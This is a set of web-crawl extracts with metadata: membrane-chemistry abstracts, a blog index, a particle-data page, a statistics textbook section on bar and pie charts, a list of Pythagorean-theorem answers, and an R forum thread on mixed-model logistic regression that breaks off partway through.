Peters, Bethanne D.; Lavina, Sandra; Vezzù, Keti; Yang, Yuan; Poynton, Simon D.; Varcoe, John R.; Seifert, Soenke; Liberatore, Matthew W.; Di Noto, Vito; Herring, Andrew M. 2014-12-23 We demonstrate that the true hydroxide conductivity in an e-beam grafted poly(ethylene-co-tetrafluoroethylene) [ETFE] anion exchange membrane (AEM) is as high as 132 mS cm-1 at 80 °C and 95% RH, comparable to a proton exchange membrane, but with very much less water present in the film. To understand this behaviour we studied ion transport of hydroxide, carbonate, bicarbonate and chloride, as well as water uptake and distribution. Water uptake of the AEM in water vapor is an order of magnitude lower than when submerged in liquid water. In addition 19F pulse field gradient spin echo NMR indicates that there is little tortuosity in the ionic pathways through the film. A complete analysis of the IR spectrum of the AEM and the analyses of water absorption using FT-IR led to conclusion that the fluorinated backbone chains do not interact with water and that two types of water domains exist within the membrane. The reduction in conductivity was measured during exposure of the OH- form of the AEM to air at 95% RH and was seen to be much slower than the reaction of CO2 with OH- as the amount of water in the film determines its ionic conductivity and at relative wet RHs its re-organization is slow. 1. Interplay between water uptake, ion interactions, and conductivity in an e-beam grafted poly(ethylene-co-tetrafluoroethylene) anion exchange membrane DOE PAGES Pandey, Tara P.; Maes, Ashley M.; Sarode, Himanshu N.; ... 2014-12-23 We demonstrate that the true hydroxide conductivity in an e-beam grafted poly(ethylene-co-tetrafluoroethylene) [ETFE] anion exchange membrane (AEM) is as high as 132 mS cm-1 at 80 °C and 95% RH, comparable to a proton exchange membrane, but with very much less water present in the film. To understand this behaviour we studied ion transport of hydroxide, carbonate, bicarbonate and chloride, as well as water uptake and distribution. Water uptake of the AEM in water vapor is an order of magnitude lower than when submerged in liquid water. In addition 19F pulse field gradient spin echo NMR indicates that there ismore » little tortuosity in the ionic pathways through the film. A complete analysis of the IR spectrum of the AEM and the analyses of water absorption using FT-IR led to conclusion that the fluorinated backbone chains do not interact with water and that two types of water domains exist within the membrane. The reduction in conductivity was measured during exposure of the OH- form of the AEM to air at 95% RH and was seen to be much slower than the reaction of CO2 with OH- as the amount of water in the film determines its ionic conductivity and at relative wet RHs its re-organization is slow.« less 2. Improving the separation of Cu(II) from Zn(II) based on an anion exchanger for the preparation a 62Zn/62Cu generator. PubMed El-Azony, K M 2011-09-01 A separation procedure of (64,67)Cu(II) from (65)Zn(II) was studied for serving (62)Zn/(62)Cu generator preparation. The distribution coefficients of (65)Zn(II) and (64,67)Cu(II) ions from homogeneous medium of hydrochloric acid and acetone onto De-Acidite FF anion exchanger were investigated. Both hydrochloric acid and acetone concentrations are important factors that affect the separation process. Effects of decreasing the HCl concentration from 0.2 to 0.04 M, increasing the acetone concentration from 5% to 80% and different acetone concentrations (5-97%) in 0.2M HCl were also studied on the separation of (64,67)Cu(II) from (65)Zn(II). The exchange capacity of Zn(II) on the De-Acidite FF matrix was obtained as 3.8 meq/g and the(64,67)Cu(II) elution efficiency was 92.5% using 20 ml of 0.2M HCl-60% acetone with flow rate of 2 ml/min.The radionuclidic purity and radiochemical purity of the eluted (64,67)Cu(II) were examined. 3. Imidazolium-Functionalized Poly(arylene ether sulfone) Anion-Exchange Membranes Densely Grafted with Flexible Side Chains for Fuel Cells. PubMed Guo, Dong; Lai, Ao Nan; Lin, Chen Xiao; Zhang, Qiu Gen; Zhu, Ai Mei; Liu, Qing Lin 2016-09-28 With the intention of optimizing the performance of anion-exchange membranes (AEMs), a set of imidazolium-functionalized poly(arylene ether sulfone)s with densely distributed long flexible aliphatic side chains were synthesized. The membranes made from the as-synthesized polymers are robust, transparent, and endowed with microphase segregation capability. The ionic exchange capacity (IEC), hydroxide conductivity, water uptake, thermal stability, and alkaline resistance of the AEMs were evaluated in detail for fuel cell applications. Morphological observation with the use of atomic force microscopy and small-angle X-ray scattering reveals that the combination of high-local-density-type and side-chain-type architectures induces distinguished nanophase separation in the AEMs. The as-prepared membranes have advantages in effective water management and ionic conductivity over traditional main-chain polymers. Typically, the conductivity and IEC were in the ranges of 57.3-112.5 mS cm(-1) and 1.35-1.84 mequiv g(-1) at 80 °C, respectively. Furthermore, the membranes exhibit good thermal and alkaline stability and achieve a peak power density of 114.5 mW cm(-2) at a current density of 250.1 mA cm(-2). Therefore, the present polymers containing clustered flexible pendent aliphatic imidazolium promise to be attractive AEM materials for fuel cells. 4. PDLIM5 links kidney anion exchanger 1 (kAE1) to ILK and is required for membrane targeting of kAE1 PubMed Central Su, Ya; Hiemstra, Thomas F.; Yan, Yahui; Li, Juan; Karet, Hannah I.; Rosen, Lawrence; Moreno, Pablo; Frankl, Fiona E. Karet 2017-01-01 Anion exchanger 1 (AE1) mediates Cl−/HCO3− exchange in erythrocytes and kidney intercalated cells where it functions to maintain normal bodily acid-base homeostasis. AE1’s C-terminal tail (AE1C) contains multiple potential membrane targeting/retention determinants, including a predicted PDZ binding motif, which are critical for its normal membrane residency. Here we identify PDLIM5 as a direct binding partner for AE1 in human kidney, via PDLIM5’s PDZ domain and the PDZ binding motif in AE1C. Kidney AE1 (kAE1), PDLIM5 and integrin-linked kinase (ILK) form a multiprotein complex in which PDLIM5 provides a bridge between ILK and AE1C. Depletion of PDLIM5 resulted in significant reduction in kAE1 at the cell membrane, whereas over-expression of kAE1 was a	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6493973135948181, "perplexity": 13271.061922776184}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-39/segments/1505818689028.2/warc/CC-MAIN-20170922164513-20170922184513-00649.warc.gz"}
https://www.ramin-hossaini.com/journal/	# Blog “There’s more than one way to skin a cat.” — Unknown Introduction After getting a Synology DS920+ as a NAS, it was obvious that it would be the perfect media server at home. After running Jellyfin for over a year on a VPS, my wife and I were both comfortable with it and didn’t want… Last updated: 25 July 2022 Algebra Arithmetic Operations $$a(b+c) = ab + ac$$ $${{a \over b} + {c \over d}} = {{ad + bc} \over bd}$$ $${{a + c} \over b} = {{a \over b} + {c \over b}}$$ {{a \over b } \over {c \over d}} = {{a \over b} \times {d \over c}}… In the past couple of months, I’ve been using a poolish to make our pizzas, and the results have been amazing. I made an online calculator that more or less goes by the recipe by Vito Iacopelli. It’s a really simple calculator that lets you change 3 variables in order to specify the amounts for… If you update the image for a docker-compose config, you can restart each of the containers by running Assuming you have a directory structure like the following: You can write a simple script to traverse each of the directories and restart the container Save the script as something like restart.sh in the root directory of… Today I am pleased to be releasing a dashboard I have been working on (and using) lately. I am releasing the project as Open-Source and under the GPL-3.0 License. The dashboard is loosely based on SUI, but built from the bottom up using CodeIgniter 4 and Bootstrap for the CSS. It’s probably a bit overkill… “It really do be like that sometimes.” — Unknown I used to use OpenStreetMap.nl for maps on my Garmin GPSmap 64s (I suspect this works on the other GPSmap devices as well), but the download-queue for getting maps from the site has become impractical: This request is #20312 in the queue. The delay is approximately… I never remember the syntax for the scheduling, so I’m glad crontab.guru exists.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6803870797157288, "perplexity": 1573.4706931637718}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296945292.83/warc/CC-MAIN-20230325002113-20230325032113-00249.warc.gz"}
https://pdglive.lbl.gov/Particle.action?init=0&node=M142&home=MXXX005	LIGHT UNFLAVORED MESONS($\boldsymbol S$ = $\boldsymbol C$ = $\boldsymbol B$ = 0) For $\mathit I = 1$ (${{\mathit \pi}}$, ${{\mathit b}}$, ${{\mathit \rho}}$, ${{\mathit a}}$): ${\mathit {\mathit u}}$ ${\mathit {\overline{\mathit d}}}$, ( ${\mathit {\mathit u}}$ ${\mathit {\overline{\mathit u}}}−$ ${\mathit {\mathit d}}$ ${\mathit {\overline{\mathit d}}})/\sqrt {2 }$, ${\mathit {\mathit d}}$ ${\mathit {\overline{\mathit u}}}$;for $\mathit I = 0$ (${{\mathit \eta}}$, ${{\mathit \eta}^{\,'}}$, ${{\mathit h}}$, ${{\mathit h}^{\,'}}$, ${{\mathit \omega}}$, ${{\mathit \phi}}$, ${{\mathit f}}$, ${{\mathit f}^{\,'}}$): ${\mathit {\mathit c}}_{{\mathrm {1}}}$( ${{\mathit u}}{{\overline{\mathit u}}}$ $+$ ${{\mathit d}}{{\overline{\mathit d}}}$ ) $+$ ${\mathit {\mathit c}}_{{\mathrm {2}}}$( ${{\mathit s}}{{\overline{\mathit s}}}$ ) INSPIRE search # ${{\boldsymbol f}_{{2}}{(1910)}}$ $I^G(J^{PC})$ = $0^+(2^{+ +})$ We list here three different peaks with close masses and widths seen in the mass distributions of ${{\mathit \omega}}{{\mathit \omega}}$ , ${{\mathit \eta}}{{\mathit \eta}^{\,'}}$ , and ${{\mathit K}^{+}}{{\mathit K}^{-}}$ final states. ALDE 1991B argues that they are of different nature. ${{\boldsymbol f}_{{2}}{(1910)}}$ MASS see data ${{\mathit f}_{{2}}{(1910)}}$ ${{\mathit \omega}}{{\mathit \omega}}$ MODE $1900 \pm9$ MeV (S = 1.4) ${{\mathit f}_{{2}}{(1910)}}$ ${{\mathit \eta}}{{\mathit \eta}^{\,'}}$ MODE $1934 \pm16$ MeV ${{\mathit f}_{{2}}{(1910)}}$ ${{\mathit K}^{+}}{{\mathit K}^{-}}$ MODE ${{\boldsymbol f}_{{2}}{(1910)}}$ WIDTH Full width $\Gamma$ ${{\mathit f}_{{2}}{(1910)}}$ ${{\mathit \omega}}{{\mathit \omega}}$ MODE $167 \pm21$ MeV (S = 1.3) ${{\mathit f}_{{2}}{(1910)}}$ ${{\mathit \eta}}{{\mathit \eta}^{\,'}}$ MODE $141 \pm40$ MeV ${{\mathit f}_{{2}}{(1910)}}$ ${{\mathit K}^{+}}{{\mathit K}^{-}}$ MODE	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9757540225982666, "perplexity": 857.1907863323511}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243991648.40/warc/CC-MAIN-20210514060536-20210514090536-00351.warc.gz"}
https://math.libretexts.org/Courses/Lumen_Learning/Book%3A_Mathematics_for_the_Liberal_Arts_(Lumen)/09%3A_Describing_Data/09.1%3A_Presenting_Categorical_Data_Graphically	$$\newcommand{\id}{\mathrm{id}}$$ $$\newcommand{\Span}{\mathrm{span}}$$ $$\newcommand{\kernel}{\mathrm{null}\,}$$ $$\newcommand{\range}{\mathrm{range}\,}$$ $$\newcommand{\RealPart}{\mathrm{Re}}$$ $$\newcommand{\ImaginaryPart}{\mathrm{Im}}$$ $$\newcommand{\Argument}{\mathrm{Arg}}$$ $$\newcommand{\norm}[1]{\\| #1 \\|}$$ $$\newcommand{\inner}[2]{\langle #1, #2 \rangle}$$ $$\newcommand{\Span}{\mathrm{span}}$$ # 9.1: Presenting Categorical Data Graphically $$\newcommand{\vecs}[1]{\overset { \scriptstyle \rightharpoonup} {\mathbf{#1}} }$$ $$\newcommand{\vecd}[1]{\overset{-\!-\!\rightharpoonup}{\vphantom{a}\smash {#1}}}$$$$\newcommand{\id}{\mathrm{id}}$$ $$\newcommand{\Span}{\mathrm{span}}$$ $$\newcommand{\kernel}{\mathrm{null}\,}$$ $$\newcommand{\range}{\mathrm{range}\,}$$ $$\newcommand{\RealPart}{\mathrm{Re}}$$ $$\newcommand{\ImaginaryPart}{\mathrm{Im}}$$ $$\newcommand{\Argument}{\mathrm{Arg}}$$ $$\newcommand{\norm}[1]{\\| #1 \\|}$$ $$\newcommand{\inner}[2]{\langle #1, #2 \rangle}$$ $$\newcommand{\Span}{\mathrm{span}}$$ $$\newcommand{\id}{\mathrm{id}}$$ $$\newcommand{\Span}{\mathrm{span}}$$ $$\newcommand{\kernel}{\mathrm{null}\,}$$ $$\newcommand{\range}{\mathrm{range}\,}$$ $$\newcommand{\RealPart}{\mathrm{Re}}$$ $$\newcommand{\ImaginaryPart}{\mathrm{Im}}$$ $$\newcommand{\Argument}{\mathrm{Arg}}$$ $$\newcommand{\norm}[1]{\\| #1 \\|}$$ $$\newcommand{\inner}[2]{\langle #1, #2 \rangle}$$ $$\newcommand{\Span}{\mathrm{span}}$$ Categorical, or qualitative, data are pieces of information that allow us to classify the objects under investigation into various categories. We usually begin working with categorical data by summarizing the data into a frequency table. ### Frequency Table A frequency table is a table with two columns. One column lists the categories, and another for the frequencies with which the items in the categories occur (how many items fit into each category). ### Example 1 An insurance company determines vehicle insurance premiums based on known risk factors. If a person is considered a higher risk, their premiums will be higher. One potential factor is the color of your car. The insurance company believes that people with some color cars are more likely to get in accidents. To research this, they examine police reports for recent total-loss collisions. The data is summarized in the frequency table below. Color Frequency Blue 25 Green 52 Red 41 White 36 Black 39 Grey 23 Sometimes we need an even more intuitive way of displaying data. This is where charts and graphs come in. There are many, many ways of displaying data graphically, but we will concentrate on one very useful type of graph called a bar graph. In this section we will work with bar graphs that display categorical data; the next section will be devoted to bar graphs that display quantitative data. ### Bar graph A bar graph is a graph that displays a bar for each category with the length of each bar indicating the frequency of that category. To construct a bar graph, we need to draw a vertical axis and a horizontal axis. The vertical direction will have a scale and measure the frequency of each category; the horizontal axis has no scale in this instance. The construction of a bar chart is most easily described by use of an example. ### Example 2 Using our car data from above, note the highest frequency is 52, so our vertical axis needs to go from 0 to 52, but we might as well use 0 to 55, so that we can put a hash mark every 5 units: Notice that the height of each bar is determined by the frequency of the corresponding color. The horizontal gridlines are a nice touch, but not necessary. In practice, you will find it useful to draw bar graphs using graph paper, so the gridlines will already be in place, or using technology. Instead of gridlines, we might also list the frequencies at the top of each bar, like this: In this case, our chart might benefit from being reordered from largest to smallest frequency values. This arrangement can make it easier to compare similar values in the chart, even without gridlines. When we arrange the categories in decreasing frequency order like this, it is called a Pareto chart. ### Pareto chart A Pareto chart is a bar graph ordered from highest to lowest frequency ### Example 3 Transforming our bar graph from earlier into a Pareto chart, we get: ### Example 4 In a survey[1], adults were asked whether they personally worried about a variety of environmental concerns. The numbers (out of 1012 surveyed) who indicated that they worried “a great deal” about some selected concerns are summarized below. Environmental Issue Frequency Pollution of drinking water 597 Contamination of soil and water by toxic waste 526 Air pollution 455 Global warming 354 This data could be shown graphically in a bar graph: To show relative sizes, it is common to use a pie chart. ### Pie Chart A pie chart is a circle with wedges cut of varying sizes marked out like slices of pie or pizza. The relative sizes of the wedges correspond to the relative frequencies of the categories. ### Example 5 For our vehicle color data, a pie chart might look like this: Pie charts can often benefit from including frequencies or relative frequencies (percents) in the chart next to the pie slices. Often having the category names next to the pie slices also makes the chart clearer. ### Example 6 The pie chart to the right shows the percentage of voters supporting each candidate running for a local senate seat. If there are 20,000 voters in the district, the pie chart shows that about 11% of those, about 2,200 voters, support Reeves. Pie charts look nice, but are harder to draw by hand than bar charts since to draw them accurately we would need to compute the angle each wedge cuts out of the circle, then measure the angle with a protractor. Computers are much better suited to drawing pie charts. Common software programs like Microsoft Word or Excel, OpenOffice.org Write or Calc, or Google Docs are able to create bar graphs, pie charts, and other graph types. There are also numerous online tools that can create graphs.[2] ### Try it Now 1 Create a bar graph and a pie chart to illustrate the grades on a history exam below. A: 12 students, B: 19 students, C: 14 students, D: 4 students, F: 5 students Don’t get fancy with graphs! People sometimes add features to graphs that don’t help to convey their information. For example, 3-dimensional bar charts like the one shown below are usually not as effective as their two-dimensional counterparts. Here is another way that fanciness can lead to trouble. Instead of plain bars, it is tempting to substitute meaningful images. This type of graph is called a pictogram. ### Pictogram A pictogram is a statistical graphic in which the size of the picture is intended to represent the frequencies or size of the values being represented. ### Example 7 A labor union might produce the graph to the right to show the difference between the average manager salary and the average worker salary. Looking at the picture, it would be reasonable to guess that the manager salaries is 4 times as large as the worker salaries – the area of the bag looks about 4 times as large. However, the manager salaries are in fact only twice as large as worker salaries, which were reflected in the picture by making the manager bag twice as tall. Another distortion in bar charts results from setting the baseline to a value other than zero. The baseline is the bottom of the vertical axis, representing the least number of cases that could have occurred in a category. Normally, this number should be zero. ### Example 8 Compare the two graphs below showing support for same-sex marriage rights from a poll taken in December 2008[3]. The difference in the vertical scale on the first graph suggests a different story than the true differences in percentages; the second graph makes it look like twice as many people oppose marriage rights as support it. ### Try it Now 2 A poll was taken asking people if they agreed with the positions of the 4 candidates for a county office. Does the pie chart present a good representation of this data? Explain. 1. Gallup Poll. March 5-8, 2009. http://www.pollingreport.com/enviro.htm 2. For example: http://nces.ed.gov/nceskids/createAgraph/ or http://docs.google.com 3. CNN/Opinion Research Corporation Poll. Dec 19-21, 2008, from http://www.pollingreport.com/civil.htm	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.41662096977233887, "perplexity": 1021.3533047109495}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610704820894.84/warc/CC-MAIN-20210127024104-20210127054104-00740.warc.gz"}
https://mathtest-289705.wl.r.appspot.com/concept_sheet/math/precalc/triangles/pyth_theorem?show_ans=1&a_seed=4420213	Math Problems MathematicsPrecalculusTriangles → Pythagorean Theorem Solve for x in the shown triangle ## Questions x = $$6$$ x = $$4$$ x = $$12$$ x = $$4$$ x = $$5/3$$ x = $$25/7$$ x = $$5$$ x = $$13/2$$ x = $$17$$ x = $$12$$ x = $$13/6$$ x = $$15$$ x = $$2$$ x = $$5$$ x = $$8$$ x = $$7$$ x = $$15/8$$ x = $$24$$ x = $$12/5$$ x = $$3/2$$ x = $$7/6$$ x = $$3$$ x = $$1$$ x = $$25/8$$ x = $$13/5$$ x = $$5/6$$ x = $$25/4$$ x = $$7/4$$	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5054908394813538, "perplexity": 199.8317924113293}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964360951.9/warc/CC-MAIN-20211201203843-20211201233843-00288.warc.gz"}
http://talkstats.com/threads/binary-mixed-model-logistic-regression-using-lmer-of-lme4-for-multilevel-analysis.48505/	# Binary mixed-model logistic regression using lmer() of lme4 for multilevel analysis #### victorxstc ##### Pirate In my experiment, each patient has been observed twice, once using placebo and the other time using the real treatment. I want to assess the predictive effects of the treatment and patients' demographics (age, sex, etc.). Therefore I have for example 100 patients, but actually 200 pairs of treatment (0 and 1 for placebo and the real treatment, respectively) and disease (0 and 1 for the absence or presence of the disease). This way, I have duplicated (copied & pasted) my 100 rows of patients' demographics into 200 rows and have distinguished these two 100-row bundles of data by the variable "treatment" (100 rows with treatment = 0, 100 copied rows with treatment = 1). Now I need to run a mixed model regression to account for the multilevel design and avoid atomistic fallacy (thanks to Greta). I have written the following R syntax, but there are some problems: first that the P values are really disappointing (all above 0.8, although they might be correct). Second that I don't know if the code is correct in the first place or not!! My code is: Code: (mixed <- lmer(Disease ~ Gender + Age + Demographic3 + Demographic4 + TREATMENT + AgeDemographic4 + AgeTREATMENT + AgeGender + AgeDemographic3 + Demographic4TREATMENT + Demographic4Gender + Demographic4Demographic3 + TREATMENTGender + TREATMENTDemographic3 + GenderDemographic3 + (Age \| PatientID) + (Gender \| PatientID) + (Demographic3 \| PatientID) + (Demographic4 \| PatientID) , family=binomial(logit), MixedModelData)) After converging, R warns Code: In mer_finalize(ans) : false convergence (8). I would be so grateful if you (looking at you Jake!) could check if my syntax is correct. I want R to treat the four demographics as repeated-measures or nested within the duplicated patients. Each patient has a unique PatientID [100 PatientIDs repeated in 200 cases]. Many thanks. #### spunky ##### Can't make spagetti Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys and if someone can come up with the GEE version of it you get a free (virtual) cookie from me! #### Jake Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys It looks like your model is misspecified in a few different ways. First of all, your random effects specification attempts to fit 4 separate random intercepts for the same units, 1 for each parenthesis block. The correct syntax for this would be to put all 4 of these random slopes in a single parenthesis block like so: (Age+Gender+Demograpic3+Demographic4\|PatientID) Second and more importantly, you can't actually estimate random effects for these demographic variables. In a two-level model like you have here, it is only possible to estimate random effects of predictors that vary within the experimental units, not ones that vary only between the units. I think the correct model should look more like this: Code: (mixed <- lmer(Disease ~ (Gender + Age + Demographic3 + Demographic4 + TREATMENT)^2 + (TREATMENT \| PatientID) , family=binomial(logit), data=MixedModelData)) And naturally, because we have a lot of interactions terms here (all two-way interactions), I would make sure the predictors are centered for interpretation reasons. #### victorxstc ##### Pirate Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys Thanksss Jake First of all, your random effects specification attempts to fit 4 separate random intercepts for the same units, 1 for each parenthesis block. The correct syntax for this would be to put all 4 of these random slopes in a single parenthesis block like so: (Age+Gender+Demograpic3+Demographic4\|PatientID) Second and more importantly, you can't actually estimate random effects for these demographic variables. In a two-level model like you have here, it is only possible to estimate random effects of predictors that vary within the experimental units, not ones that vary only between the units. Awesome! I guess you mean that in each bundle (treatment = 0 or 1), there might be some variation and thus effect for the demographics, but not between the copied bundles. Then perhaps this is why all P values were close to 1.0 before. Thanks. Also thanks for the squared parentheses hint which equals all the main effects plus their 2-way interactions. .......................... I ran the new code (both with and without interactions), but the same warning happened each time and the P values were around 0.9. Perhaps the real model has no good P values (and as you mentioned the model was almost free of multicollinearity [centered variables and VIFs less than 2 in a single level regression]) which can be sad news, but why that warning message? #### Jake Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys The false convergence warning is kind of a famously vague warning sometimes given by the optimizer used in the current version of lme4. (By the way, a newer version of lme4 that uses a different optimizer has been submitted to CRAN and reportedly should be available from CRAN within a week.) The warning generally is a sign that the model you have tried to fit is too complex for the data to support. Try fitting the following model: Code: (mixed2 <- lmer(Disease ~ (Gender + Age + Demographic3 + Demographic4 + TREATMENT)^2 + (1 \| PatientID) + (0 + TREATMENT \| PatientID) , family=binomial(logit), data=MixedModelData)) And let me know if you still get the warning message. If you do, I would next try eliminating the random TREATMENT slope. #### spunky ##### Can't make spagetti Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys spunky: Jaaaaake!! what does the ()^2 thing does in the code you gave victor? never seen it before Jake: you can enclose groups of predictors in parentheses and raise the block to ^n to add all interactions between the enclosed predictors up to order n Jake: so ^2 adds all possible two-ways, ^3 adds all possible three-ways and two-ways, etc. spunky: awesome! now, i haven't used lme4 in a while so just as a refresher. when you did (1 \| PatientID) + (0 + TREATMENT \| PatientID) what you're asking is for a random intercept of TREATMENT across PatientID and a random slope for TREATMET across PatientID and the "0" at first is to prevent a correlation between the two, right? Jake: essentially yes. technically the 0 says to suppress the intercept. the reason for this being that we already added the intercept in the previous parenthesis block, and unfortunately lmer is not smart enough to recognize when you've instructed it to estimate the same effect twice, so it will really try to do it... Jake: the lack of correlation comes from the fact that the effects are put in separate parenthesis blocks. all predictors written in the same block get their covariance estimated, while predictors written in different parenthesis blocks are assumed uncorrelated Jake: so we have to put the intercept in 1 block, and the slope in another block. but since by default just saying (x \| group) also adds a random intercept for group, we had to manually suppress it Jake: i expect what we will find in victor's output is that the variance in the random treatment slopes is close to 0 Jake: but we'll see #### victorxstc ##### Pirate Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys Thanks a lot Jake. I couldn't quite understand the (1 \| PatientID) and (0 + TREATMENT \| PatientID) probably since I should study well the mixed models. Another thing is that this function is 1000x faster than SPSS' version. Jake: i expect what we will find in victor's output is that the variance in the random treatment slopes is close to 0 Unfortunately so true. The new code reduced the P values for about 0.1 in general, but still around 0.8 and greater. #### Jake Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys Note that I was not talking about the fixed treatment effect, but rather the variance of the random treatment effects. If you post the glmer() output of the model I mentioned I can point out to you what I'm talking about. #### victorxstc ##### Pirate Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys Thanks for clarification Also I bootstrapped it using the following code, and it gave an error after 1.5 hours of running 50 replicates. The code: Code: library (boot) mixedGLM <- function(formula, data, indices) { d <- data[indices, ] (fit <- lmer(DV ~ (Demo1 +Demo2+Demo3 +Demo4 +Trt)^2 + (1 \| PatientID) + (0 + Trt \| PatientID) , family=binomial(logit), d)) return(coef(fit)) } results <- boot(data=MixedModelData4 , statistic = mixedGLM, R= 50, formula= DV~Demo1 +Demo2 +Demo3 +Demo4 +Trt) results The errors: Code: Error in t.star[r, ] <- res[[r]] : incorrect number of subscripts on matrix In addition: There were 50 or more warnings (use warnings() to see the first 50) Code: > warnings() Warning messages: 1: In mer_finalize(ans) : false convergence (8) 2: glm.fit: fitted probabilities numerically 0 or 1 occurred 3: glm.fit: fitted probabilities numerically 0 or 1 occurred 4: glm.fit: fitted probabilities numerically 0 or 1 occurred 5: In mer_finalize(ans) : false convergence (8) 6: glm.fit: fitted probabilities numerically 0 or 1 occurred 7: In mer_finalize(ans) : false convergence (8) 8: In mer_finalize(ans) : false convergence (8) 9: glm.fit: fitted probabilities numerically 0 or 1 occurred 10: In mer_finalize(ans) : false convergence (8) 11: glm.fit: fitted probabilities numerically 0 or 1 occurred 12: In mer_finalize(ans) : false convergence (8) 13: glm.fit: fitted probabilities numerically 0 or 1 occurred 14: In mer_finalize(ans) : false convergence (8) 15: glm.fit: fitted probabilities numerically 0 or 1 occurred 16: In mer_finalize(ans) : false convergence (8) 17: glm.fit: algorithm did not converge 18: glm.fit: fitted probabilities numerically 0 or 1 occurred 19: In mer_finalize(ans) : false convergence (8) 20: glm.fit: fitted probabilities numerically 0 or 1 occurred 21: In mer_finalize(ans) : false convergence (8) 22: In mer_finalize(ans) : false convergence (8) 23: glm.fit: fitted probabilities numerically 0 or 1 occurred 24: In mer_finalize(ans) : false convergence (8) 25: glm.fit: algorithm did not converge 26: glm.fit: fitted probabilities numerically 0 or 1 occurred 27: glm.fit: fitted probabilities numerically 0 or 1 occurred 28: In mer_finalize(ans) : false convergence (8) 29: glm.fit: algorithm did not converge 30: glm.fit: fitted probabilities numerically 0 or 1 occurred 31: In mer_finalize(ans) : false convergence (8) 32: glm.fit: algorithm did not converge 33: glm.fit: fitted probabilities numerically 0 or 1 occurred 34: glm.fit: 